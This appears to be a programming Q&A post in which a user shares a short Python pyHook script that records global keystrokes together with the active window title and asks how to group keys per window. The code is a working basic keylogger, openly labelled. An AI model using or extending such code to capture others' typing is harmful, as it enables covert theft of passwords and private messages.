title: Python - Window Title and keylogger
body: <p>This is a code for a python keylogger and window title grabber but i am not able to grab them at same time.</p>
  
  <pre><code>import pythoncom, pyHook ,time
  
  def OnKeyboardEvent(event):
              keylog= chr(event.Ascii)
  
              print keylog
              key =  event.WindowName
              print key
              time.sleep(0.1)
              if(key==event.WindowName):
                  pass
              else:
                  key = event.WindowName
                  print key
  
  hm = pyHook.HookManager()
  hm.KeyDown = OnKeyboardEvent
  hm.HookKeyboard()
  pythoncom.PumpMessages()   
  </code></pre>
  
  <p>The output is like</p>
  
  <p>a Start menu
  b Start menu
  c Start menu
  d cmd.exe</p>
  
  <p>and i need it like </p>
  
  <p>Start Menu
  abc</p>
  
  <p>cmd.exe
  d</p>